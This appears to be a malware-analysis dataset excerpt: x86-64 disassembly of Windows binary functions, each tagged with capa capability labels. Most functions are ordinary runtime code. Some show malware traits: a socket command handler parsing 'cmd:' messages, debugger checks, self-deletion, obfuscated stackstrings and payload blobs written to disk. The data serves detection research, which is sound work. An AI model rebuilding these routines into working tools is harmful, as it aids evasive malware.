joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140004430
Capabilities:
Get file version info

Disassembly:
mov rax, rsp
push rsi
push rdi
push r14
sub rsp, 0x1c0
mov qword [rsp + 0x58], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x20], rbp
mov rax, qword [0x14002b008]
xor rax, rsp
mov qword [rsp + 0x1b0], rax
mov r14, r8
mov rdi, rdx
xor esi, esi
mov dword [rsp + 0x34], esi
xor edx, edx
mov rcx, r8
call qword [sym.imp.VERSION.dll_GetFileVersionInfoSizeW]
mov ebp, eax
test eax, eax
jne 0x140004492
mov qword [rdi + 0x18], 7
mov qword [rdi + 0x10], rsi
mov word [rdi], si
jmp 0x1400045cd
mov rdx, rbp
lea rcx, [rsp + 0x40]
call fcn.140003830
nop
mov rbx, qword [rsp + 0x40]
mov r9, rbx
mov r8d, ebp
xor edx, edx
mov rcx, r14
call qword [sym.imp.VERSION.dll_GetFileVersionInfoW]
test eax, eax
jne 0x1400044d9
mov qword [rdi + 0x18], 7
mov qword [rdi + 0x10], rsi
cmp qword [rdi + 0x18], 8
jb 0x1400045ba
mov rax, qword [rdi]
jmp 0x1400045bd
lea rcx, [rsp + 0x60]
call fcn.140004f90
lea r9, [rsp + 0x30]
lea r8, [rsp + 0x48]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.VERSION.dll_VerQueryValueW]
test eax, eax
je 0x1400044ba
mov rbp, rsi
mov eax, dword [rsp + 0x30]
test rax, 0xfffffffffffffffc
jbe 0x1400044ba
nop dword [rax]
lea rcx, [rsp + 0x60]
call fcn.140004d40
mov rcx, qword [rsp + 0x48]
movzx edx, word [rcx + rbp*4 + 2]
movzx r9d, word [rcx + rbp*4]
mov dword [rsp + 0x20], edx
mov r8, rax
mov edx, 0x100
lea rcx, [rsp + 0xb0]
call fcn.140003fb0
lea r9, [rsp + 0x38]
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0xb0]
mov rcx, rbx
call qword [sym.imp.VERSION.dll_VerQueryValueW]
test eax, eax
jne 0x140004576
inc rbp
mov eax, dword [rsp + 0x30]
shr rax, 2
cmp rbp, rax
jb 0x140004510
jmp 0x1400044ba
mov rdx, qword [rsp + 0x50]
mov qword [rdi + 0x18], 7
mov qword [rdi + 0x10], rsi
cmp qword [rdi + 0x18], 8
jb 0x140004593
mov rax, qword [rdi]
jmp 0x140004596
mov rax, rdi
mov word [rax], si
cmp word [rdx], 0
je 0x1400045ad
or rsi, 0xffffffffffffffff
inc rsi
cmp word [rdx + rsi*2], 0
jne 0x1400045a3
mov r8, rsi
mov rcx, rdi
call fcn.140002040
jmp 0x1400045c0
mov rax, rdi
mov word [rax], si
test rbx, rbx
je 0x1400045cd
mov rcx, rbx
call fcn.1400097a8
mov rax, rdi
mov rcx, qword [rsp + 0x1b0]
xor rcx, rsp
call fcn.140009740
lea r11, [rsp + 0x1c0]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
Function at 0x140004d40
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov r10, rcx
lea r11, [0x1400263a0]
sub r11, rcx
lea rdi, [0x1400263a1]
sub rdi, rcx
lea rbp, [0x1400263a2]
sub rbp, rcx
lea r15, [0x1400263a3]
sub r15, rcx
lea r13, [0x1400263a4]
sub r13, rcx
mov eax, 5
sub rax, rcx
mov ebx, 1
mov qword [rsp + 0x58], rax
sub rbx, rcx
lea rax, [0x1400263a5]
mov esi, 2
sub rax, rcx
sub rsi, rcx
mov r14d, 3
mov qword [rsp + 0x50], rax
sub r14, rcx
mov r12d, 4
sub r12, rcx
mov r9, rcx
mov rcx, qword [rsp + 0x58]
movabs rax, 0x2492492492492493
neg r10
nop word [rax + rax]
lea r8, [r10 + r9]
mul r8
mov rax, r8
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 3
imul rax, rax, 0xe
sub r8, rax
lea rax, [0x140026390]
movzx eax, byte [r8 + rax]
lea r8, [rbx + r9]
xor al, byte [r11 + r9]
mov byte [r9], al
movabs rax, 0x2492492492492493
mul r8
mov rax, r8
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 3
imul rax, rax, 0xe
sub r8, rax
lea rax, [0x140026390]
movzx eax, byte [r8 + rax]
lea r8, [rsi + r9]
xor al, byte [rdi + r9]
mov byte [r9 + 1], al
movabs rax, 0x2492492492492493
mul r8
mov rax, r8
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 3
imul rax, rax, 0xe
sub r8, rax
lea rax, [0x140026390]
movzx eax, byte [r8 + rax]
lea r8, [r14 + r9]
xor al, byte [r9 + rbp]
mov byte [r9 + 2], al
movabs rax, 0x2492492492492493
mul r8
mov rax, r8
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 3
imul rax, rax, 0xe
sub r8, rax
lea rax, [0x140026390]
movzx eax, byte [r8 + rax]
lea r8, [r12 + r9]
xor al, byte [r15 + r9]
mov byte [r9 + 3], al
movabs rax, 0x2492492492492493
mul r8
mov rax, r8
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 3
imul rax, rax, 0xe
sub r8, rax
lea rax, [0x140026390]
movzx eax, byte [r8 + rax]
lea r8, [rcx + r9]
xor al, byte [r9 + r13]
mov byte [r9 + 4], al
movabs rax, 0x2492492492492493
mul r8
mov rax, r8
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 3
imul rax, rax, 0xe
sub r8, rax
lea rax, [0x140026390]
movzx eax, byte [r8 + rax]
mov rdx, qword [rsp + 0x50]
lea r9, [r9 + 6]
xor al, byte [rdx + r9 - 6]
mov byte [r9 - 1], al
lea rax, [r10 + r9]
cmp rax, 0x48
movabs rax, 0x2492492492492493
jb 0x140004df0
mov rcx, qword [rsp + 0x40]
xor eax, eax
mov rbx, qword [rsp + 0x48]
mov word [rcx + 0x48], ax
mov rax, rcx
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x140004f90
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov r10, rcx
lea r11, [0x140026358]
sub r11, rcx
lea rdi, [0x140026359]
sub rdi, rcx
lea rbp, [0x14002635a]
sub rbp, rcx
lea r15, [0x14002635b]
sub r15, rcx
lea r13, [0x14002635c]
sub r13, rcx
mov eax, 5
sub rax, rcx
mov ebx, 1
mov qword [rsp + 0x58], rax
sub rbx, rcx
lea rax, [0x14002635d]
mov esi, 2
sub rax, rcx
sub rsi, rcx
mov r14d, 3
mov qword [rsp + 0x50], rax
sub r14, rcx
mov r12d, 4
sub r12, rcx
mov r9, rcx
mov rcx, qword [rsp + 0x58]
movabs rax, 0x8888888888888889
neg r10
nop word [rax + rax]
lea r8, [r10 + r9]
mul r8
shr rdx, 3
imul rax, rdx, 0xf
sub r8, rax
lea rax, [0x140026348]
movzx eax, byte [r8 + rax]
lea r8, [rbx + r9]
xor al, byte [r11 + r9]
mov byte [r9], al
movabs rax, 0x8888888888888889
mul r8
shr rdx, 3
imul rax, rdx, 0xf
sub r8, rax
lea rax, [0x140026348]
movzx eax, byte [r8 + rax]
lea r8, [rsi + r9]
xor al, byte [rdi + r9]
mov byte [r9 + 1], al
movabs rax, 0x8888888888888889
mul r8
shr rdx, 3
imul rax, rdx, 0xf
sub r8, rax
lea rax, [0x140026348]
movzx eax, byte [r8 + rax]
lea r8, [r14 + r9]
xor al, byte [r9 + rbp]
mov byte [r9 + 2], al
movabs rax, 0x8888888888888889
mul r8
shr rdx, 3
imul rax, rdx, 0xf
sub r8, rax
lea rax, [0x140026348]
movzx eax, byte [r8 + rax]
lea r8, [r12 + r9]
xor al, byte [r15 + r9]
mov byte [r9 + 3], al
movabs rax, 0x8888888888888889
mul r8
shr rdx, 3
imul rax, rdx, 0xf
sub r8, rax
lea rax, [0x140026348]
movzx eax, byte [r8 + rax]
lea r8, [rcx + r9]
xor al, byte [r9 + r13]
mov byte [r9 + 4], al
lea r9, [r9 + 6]
movabs rax, 0x8888888888888889
mul r8
shr rdx, 3
imul rax, rdx, 0xf
mov rdx, qword [rsp + 0x50]
sub r8, rax
lea rax, [0x140026348]
movzx eax, byte [r8 + rax]
xor al, byte [rdx + r9 - 6]
mov byte [r9 - 1], al
lea rax, [r10 + r9]
cmp rax, 0x30
movabs rax, 0x8888888888888889
jb 0x140005040
mov rcx, qword [rsp + 0x40]
xor eax, eax
mov rbx, qword [rsp + 0x48]
mov word [rcx + 0x30], ax
mov rax, rcx
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x140010058
Capabilities:
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x20
mov esi, r8d
mov ebx, edx
mov r14d, ecx
test r8d, r8d
jne 0x14000fe2c
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000fe2c
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000fe2c
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000fe2c
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000fe2c
cmp dword [rcx + 0x84], 0xe
jbe 0x14000fe2c
cmp dword [rcx + 0xf8], esi
je 0x14000fe2c
mov ecx, r14d
call fcn.14000ff74
mov ecx, 2
call fcn.140014f4c
nop
cmp byte [0x1400333a0], 0
jne 0x14000fef6
mov r15d, 1
mov eax, r15d
xchg dword [0x140033390], eax
test ebx, ebx
jne 0x14000fe9f
mov rdi, qword [0x14002b008]
mov edx, edi
and edx, 0x3f
lea ecx, [rbx + 0x40]
sub ecx, edx
xor eax, eax
ror rax, cl
xor rax, rdi
mov rcx, qword [0x140033398]
cmp rcx, rax
je 0x14000fe96
xor rdi, rcx
mov ecx, edx
ror rdi, cl
mov rcx, rdi
call qword [fcn.140001030]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rdi
lea rcx, [0x1400334d8]
jmp 0x14000feab
cmp ebx, r15d
jne 0x14000feb1
lea rcx, [0x1400334f0]
call fcn.1400109e8
nop
test ebx, ebx
jne 0x14000fec8
lea rdx, [0x14001e460]
lea rcx, [0x14001e440]
call fcn.140010d24
lea rdx, [0x14001e470]
lea rcx, [0x14001e468]
call fcn.140010d24
movzx eax, byte [0x1400333a0]
test esi, esi
cmove eax, r15d
mov byte [0x1400333a0], al
jmp 0x14000fef6
mov ecx, 2
call fcn.140014fa0
test esi, esi
jne 0x14000ff0d
mov ecx, r14d
call fcn.14000ff28
int3
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret
xor r8d, r8d
xor edx, edx
jmp 0x14000fdbc
Function at 0x140041570
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
sub rsp, 0x50
mov r12, r9
mov rsi, r8
mov rbx, rdx
mov rdi, rcx
test r8, r8
jne 0x14004159d
xor al, al
jmp 0x1400416ff
mov rax, qword [0x1400606c0]
lea rcx, [rsp]
xor r11d, r11d
mov qword [rcx], rax
mov rax, qword [0x1400606c8]
mov qword [rsp + 0x60], rbp
mov qword [rcx + 8], rax
mov rax, qword [0x1400606d0]
mov rdx, r11
mov qword [rcx + 0x10], rax
mov rax, qword [0x1400606d8]
mov qword [rcx + 0x18], rax
mov rax, qword [0x1400606e0]
mov qword [rcx + 0x20], rax
mov rax, qword [0x1400606e8]
mov qword [rcx + 0x28], rax
mov rax, qword [0x1400606f0]
mov qword [rcx + 0x30], rax
mov rax, qword [0x1400606f8]
mov qword [rcx + 0x38], rax
movzx eax, byte [0x140060700]
mov byte [rcx + 0x40], al
mov rax, qword [r9]
mov rcx, r8
lea rbp, [r8 + rax]
test rbx, rbx
je 0x1400416f1
add r8, 4
nop word [rax + rax]
movzx r9d, byte [rdx + rdi]
inc rdx
shl r9d, 0x10
cmp rdx, rbx
jne 0x140041649
mov r11d, 2
jmp 0x14004166d
movzx eax, byte [rdx + rdi]
inc rdx
shl eax, 8
or r9d, eax
cmp rdx, rbx
jne 0x140041663
mov r11d, 1
jmp 0x14004166d
movzx eax, byte [rdx + rdi]
or r9d, eax
inc rdx
mov r10d, r9d
and r9d, 0x3f
cmp r8, rbp
ja 0x140041715
mov rax, r10
shr rax, 0x12
and eax, 0x3f
movzx eax, byte [rsp + rax]
mov byte [rcx], al
mov rax, r10
shr rax, 0xc
and eax, 0x3f
movzx eax, byte [rsp + rax]
mov byte [rcx + 1], al
cmp r11, 1
jbe 0x1400416b2
mov byte [rcx + 2], 0x3d
add rcx, 3
add r8, 3
jmp 0x1400416ca
shr r10, 6
add rcx, 3
and r10d, 0x3f
add r8, 3
movzx eax, byte [rsp + r10]
mov byte [rcx - 1], al
test r11, r11
je 0x1400416da
mov byte [rcx], 0x3d
inc rcx
inc r8
jmp 0x1400416e8
movzx eax, byte [rsp + r9]
inc rcx
inc r8
mov byte [rcx - 1], al
cmp rdx, rbx
jb 0x140041630
sub rcx, rsi
mov al, 1
mov qword [r12], rcx
mov rbp, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop r12
ret
xor al, al
jmp 0x1400416fa

Function at 0x1402cda38
Capabilities:
Execute syscall

Disassembly:
mov r10, rcx
syscall
ret
Function at 0x14032f25d
Capabilities:
Contain obfuscated stackstrings
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
or bpl, 0x14
shl ax, cl
lea rbp, [rsp - 0xc0]
sub rsp, 0x1c0
mov rax, qword [0x14002b008]
btr rdx, rax
bt rdx, r11
xor rax, rsp
stc
inc r8b
mov qword [rbp + 0xb0], rax
mov r8d, 0x104
lea rdx, [rbp - 0x60]
test r14, 0x419b47bc
cmp r14b, cl
sub ecx, ecx
call fcn.140214227
mov edx, 0x5c
bswap ecx
movzx cx, r13b
lea rcx, [rbp - 0x60]
call fcn.14000c184
lea rcx, [rbp - 0x60]
jmp 0x14032f2d0
mov byte [rax], 0
jmp 0x14032f2d8
call fcn.1401e2302
lea rdx, [0x1400262b4]
jmp 0x14032f2ea
mov dword [rsp + 0x30], 0x6e696e75
movsx cx, dil
mov cl, bpl
movsxd rcx, r13d
lea rcx, [rsp + 0x30]
mov dword [rsp + 0x34], 0x622e7473
jmp 0x14032f30f
mov word [rsp + 0x38], 0x7461
jmp 0x14032f31b
mov byte [rsp + 0x3a], 0
call fcn.14000dde4
mov rbx, rax
lea r9, [0x140000000]
clc
xor eax, eax
movzx cx, r8b
test bpl, 0x88
shl ch, 0x56
movabs r10, 0x2e8ba2e8ba2e8ba3
and edx, r11d
mov qword [rsp + 0x30], rax
rcr dl, 0xde
sub r8d, r8d
mov word [rsp + 0x38], ax
and cl, r11b
test dl, 0x67
mov byte [rsp + 0x3a], al
rol dl, 0x4c
nop word [rax + rax]
mov rcx, r8
xor al, r10b
mov rax, r10
movzx rdx, bx
btr rdx, 0xeb
movsx rdx, r11w
mul r8
ror al, 0x67
bsr rax, rsp
rcl eax, 0x12
shr rdx, 1
imul rax, rdx, 0xb
cmp r10b, dil
clc
cmp r14b, 0xdf
sub rcx, rax
and al, 0xb9
movzx eax, byte [rcx + r9 + 0x262b8]
xor al, byte [r8 + r9 + 0x262d0]
jmp 0x14032f3be
mov byte [rsp + r8 + 0x50], al
jmp 0x14032f3c8
inc r8
cmp r8, 0x49
jmp 0x14032f3d4
jb 0x14032f371
mov byte [rbp - 0x67], 0
lea rax, [rsp + 0x50]
cmp r8b, r8b
or r8, 0xffffffffffffffff
jmp 0x14032f3ef
nop
jmp 0x14032f3f5
inc r8
stc
cmp byte [rax + r8], 0
jmp 0x14032f403
jne 0x14032f3f5
mov r9, rbx
movsx edx, bx
lea rcx, [rsp + 0x50]
mov edx, 1
call fcn.14000e120
mov rcx, rbx
jmp 0x14032f426
call fcn.14000de74
sub r9d, r9d
rol r8b, 0x4f
mov dword [rsp + 0x28], 0
movzx r8d, bx
and edx, eax
lea r8, [rsp + 0x30]
mov dword [rsp + 0x30], 0x6e696e75
bt dx, 0x66
ror dl, 0xe6
cmp si, r8w
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x34], 0x622e7473
xor ecx, ecx
mov word [rsp + 0x38], 0x7461
jmp 0x14032f474
mov byte [rsp + 0x3a], 0
jmp 0x14032f47e
mov dword [rsp + 0x40], 0x6e65706f
mov byte [rsp + 0x44], 0
jmp 0x14032f490
mov qword [rsp + 0x20], 0
jmp 0x14032f49e
call fcn.1401501f5
mov rcx, qword [rbp + 0xb0]
test edx, 0x32744377
clc
test r10b, r14b
xor rcx, rsp
call fcn.140009740
mov rbx, qword [rsp + 0x1d0]
xadd bp, bp
bswap bp
add rsp, 0x1c0
pop rbp
jmp 0x14032f4d9
ret
Function at 0x140001880
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x70
mov rax, qword [0x140006008]
xor rax, rsp
mov qword [rsp + 0x68], rax
mov rbx, rdx
mov r12, rcx
lea rcx, [rsp + 0x48]
call fcn.140001d90
nop
lea r8, [rsp + 0x48]
mov r15, qword [rsp + 0x48]
mov r13, qword [rsp + 0x60]
cmp r13, 0x10
cmovae r8, r15
cmp qword [rsp + 0x58], 4
jb 0x140001a3b
mov rdx, r8
lea r9, str.cmd:
cmp byte [rdx], 0x63
jne 0x140001911
xor eax, eax
nop dword [rax + rax]
movzx ecx, byte [rdx + rax]
inc rax
cmp cl, byte [r9 + rax - 1]
jne 0x140001908
cmp rax, 4
jne 0x1400018f0
xor eax, eax
jmp 0x14000190d
sbb eax, eax
or eax, 1
test eax, eax
je 0x14000191f
cmp rdx, r8
je 0x140001a3b
dec rdx
jmp 0x1400018e1
cmp rdx, r8
jne 0x140001a3b
lea rcx, [rbx + 4]
call fcn.140002a50
mov r14, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
mov qword [rsp + 0x38], 4
mov qword [rsp + 0x40], recv
mov dword [rsp + 0x28], 0x3a646d63
mov byte [rsp + 0x2c], 0
mov rdx, rax
lea rcx, [rsp + 0x28]
call fcn.140001ca0
lea rdi, [rsp + 0x28]
cmp qword [rsp + 0x40], 0x10
cmovae rdi, qword [rsp + 0x28]
mov rax, 0xffffffffffffffff
mov rbx, rax
inc rbx
cmp byte [rdi + rbx], 0
jne 0x140001983
mov ebp, ebx
mov ecx, ebx
add rcx, 4
cmovb rcx, rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
test rax, rax
je 0x1400019f1
mov dword [rax], ebx
lea rcx, [rax + 4]
mov r8d, ebp
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea r8d, [rbx + 4]
xor r9d, r9d
mov rdx, rsi
mov rcx, qword [r12]
call qword [sym.imp.WS2_32.dll_send]
mov rcx, rsi
cmp eax, 0xffffffff
jne 0x1400019eb
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [r12]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x1400019f1
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, r14
call fcn.140002e40
nop
mov rdx, qword [rsp + 0x40]
cmp rdx, 0x10
jb 0x140001a3b
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001a35
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001a35
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002e40
nop
cmp r13, 0x10
jb 0x140001a75
lea rdx, [r13 + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x140001a6d
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001a6d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r15
call fcn.140002e40
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.140002e20
mov rbx, qword [rsp + 0xc0]
add rsp, 0x70
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x140001aa0
Capabilities:
Connect socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns

Disassembly:
push rdi
sub rsp, 0x210
mov rax, qword [0x140006008]
xor rax, rsp
mov qword [rsp + 0x200], rax
mov rdi, rcx
lea rdx, [rsp + 0x60]
mov ecx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x140001c7e
xorps xmm0, xmm0
mov qword [rsp + 0x28], 0
xorps xmm1, xmm1
mov qword [rsp + 0x30], 0
lea r9, [rsp + 0x28]
mov dword [rsp + 0x38], 1
lea r8, [rsp + 0x30]
mov dword [rsp + 0x3c], 6
lea rdx, str.8080
lea rcx, str.127.0.0.1
movdqu xmmword [rsp + 0x40], xmm0
movdqu xmmword [rsp + 0x50], xmm1
call qword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
je 0x140001b37
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x140001c7e
mov qword [rsp + 0x228], rbx
mov rbx, qword [rsp + 0x28]
mov r8d, dword [rbx + 0xc]
mov edx, dword [rbx + 8]
mov ecx, dword [rbx + 4]
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rdi], rax
cmp rax, 0xffffffffffffffff
je 0x140001c65
mov r8d, dword [rbx + 0x10]
mov rcx, rax
mov rdx, qword [rbx + 0x20]
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x140001c5c
mov rcx, rdi
call fcn.1400011c0
mov rcx, qword [rdi]
test al, al
jne 0x140001b95
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x140001c70
xor ebx, ebx
lea rdx, [rsp + 0x20]
xor r9d, r9d
lea r8d, [rbx + 4]
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 4
jne 0x140001c53
mov qword [rsp + 0x230], rbp
mov rbp, 0xffffffffffffffff
mov qword [rsp + 0x238], rsi
nop dword [rax]
mov ecx, dword [rsp + 0x20]
add rcx, 5
cmovb rcx, rbp
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
je 0x140001c43
mov ecx, dword [rsp + 0x20]
lea rdx, [rax + 4]
mov dword [rax], ecx
xor r9d, r9d
mov r8d, dword [rsp + 0x20]
mov rcx, qword [rdi]
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x140001c43
mov eax, dword [rsp + 0x20]
lea rdx, [rbx + 4]
mov rcx, rdi
mov byte [rax + rbx + 4], 0
call fcn.140001880
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [rdi]
lea rdx, [rsp + 0x20]
xor ebx, ebx
xor r9d, r9d
lea r8d, [rbx + 4]
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 4
je 0x140001bd0
mov rsi, qword [rsp + 0x238]
mov rbp, qword [rsp + 0x230]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [rdi]
call qword [sym.imp.WS2_32.dll_closesocket]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rbx, qword [rsp + 0x228]
mov rcx, qword [rsp + 0x200]
xor rcx, rsp
call fcn.140002e20
add rsp, 0x210
pop rdi
ret
Function at 0x1400037f0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000383a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000383a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000383a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000383a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000383a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000383c
xor al, al
add rsp, 0x28
ret
Function at 0x140001020
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov edi, r8d
mov rsi, rdx
mov rbp, rcx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
jne 0x140001053
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov rcx, rax
mov qword [rsp + 0x30], rbx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
je 0x140001097
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r11d, eax
add r11, rbx
and edi, 0xf
jbe 0x140001092
cmp rbx, r11
jae 0x140001097
add edi, 0xffffffff
movzx eax, word [rbx]
lea rbx, [rbx + rax*2 + 2]
jne 0x140001080
cmp rbx, r11
jb 0x14000109b
xor eax, eax
jmp 0x1400010a7
xor eax, eax
cmp word [rbx], ax
cmove rbx, rax
mov rax, rbx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x140001b40
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x40
xor esi, esi
mov ebp, 1
xor r9d, r9d
mov qword [rsp + 0x30], rsi
mov edx, 0x40000000
mov r8d, ebp
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], 2
xor bl, bl
call qword [sym.imp.KERNEL32.dll_CreateFileA]
lea r9, [rsp + 0x58]
lea rdx, [0x1400440c0]
cmp rax, 0xffffffffffffffff
mov r8d, 0x3a2f3
mov rcx, rax
mov rdi, rax
mov qword [rsp + 0x20], rsi
cmove ebx, esi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
test eax, eax
cmovne ebx, ebp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbp, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
mov al, bl
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret

Function at 0x140001bd0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x40
xor esi, esi
mov ebp, 1
xor r9d, r9d
mov qword [rsp + 0x30], rsi
mov edx, 0x40000000
mov r8d, ebp
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], 2
xor bl, bl
call qword [sym.imp.KERNEL32.dll_CreateFileA]
lea r9, [rsp + 0x58]
lea rdx, [0x14007e3c0]
cmp rax, 0xffffffffffffffff
mov r8d, 0x29000
mov rcx, rax
mov rdi, rax
mov qword [rsp + 0x20], rsi
cmove ebx, esi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
test eax, eax
cmovne ebx, ebp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbp, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
mov al, bl
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret

Function at 0x140001c60
Capabilities:
Check for debugger via api

Disassembly:
push rbx
sub rsp, 0x20
xor ebx, ebx
mov dword [rsp + 0x30], ebx
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [rsp + 0x30], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
mov r8d, eax
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
lea rdx, [rsp + 0x30]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
cmp dword [rsp + 0x30], 1
sete bl
mov eax, ebx
add rsp, 0x20
pop rbx
ret
Function at 0x140001f40
Capabilities:
Create process on windows
Self delete
Terminate process

Disassembly:
sub rsp, 0x158
mov rax, qword [0x1400a8660]
xor rax, rsp
mov qword [rsp + 0x140], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0x100
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov edx, 0xf
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov r8, qword [0x1400adb80]
xor r9d, r9d
lea edx, [r9 + 1]
lea ecx, [rdx + 3]
call qword [sym.imp.SHELL32.dll_SHChangeNotify]
